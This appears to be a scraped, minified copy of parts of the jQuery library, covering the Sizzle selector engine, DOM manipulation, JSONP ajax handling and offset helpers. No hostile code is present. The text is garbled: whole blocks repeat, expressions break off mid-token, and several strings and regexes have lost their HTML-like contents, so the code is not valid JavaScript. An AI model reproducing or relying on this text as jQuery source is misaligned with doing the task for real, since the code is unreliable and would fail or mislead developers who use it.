t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="
",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="
",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return 